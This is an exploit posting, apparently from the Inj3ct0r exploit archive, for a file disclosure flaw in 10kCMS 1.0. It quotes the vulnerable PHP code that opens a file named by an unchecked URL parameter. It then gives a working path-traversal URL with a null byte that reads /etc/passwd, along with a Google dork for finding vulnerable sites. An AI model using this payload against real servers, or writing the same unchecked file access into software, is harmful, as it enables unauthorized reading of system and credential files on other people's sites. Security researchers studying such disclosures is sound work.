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10kCMS File Disclosure Vulnerability

Posted on 17 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>10kCMS File Disclosure Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================
10kCMS File Disclosure Vulnerability
====================================


# Author: pimpim
# Software Link: http://www.10kcms.com/?page=download
# Version: 1.0
# Category: webapps
# Google dork: Generated by 10kCMS
# Tested on: Linux

#Vulnerable code:
//Load filename from URL
if (isset($_GET['page']) &amp;&amp; (file_exists($_GET['page'].'.txt'))) //If the url contains an existing filename
{
	$filename = $_GET['page'].'.txt';  //Load it
}
else
{
	$filename = 'index.txt';  //Otherwise, default to index.txt
	$htmltitle= 'Home';
}

//Load in the file contents
$fp = fopen($filename,&quot;r&quot;);

#Exploit: http://localhost/...path.../?page=../../../../../etc/passwd%00
Null byte must be used to strip off the &quot;.txt&quot; extension


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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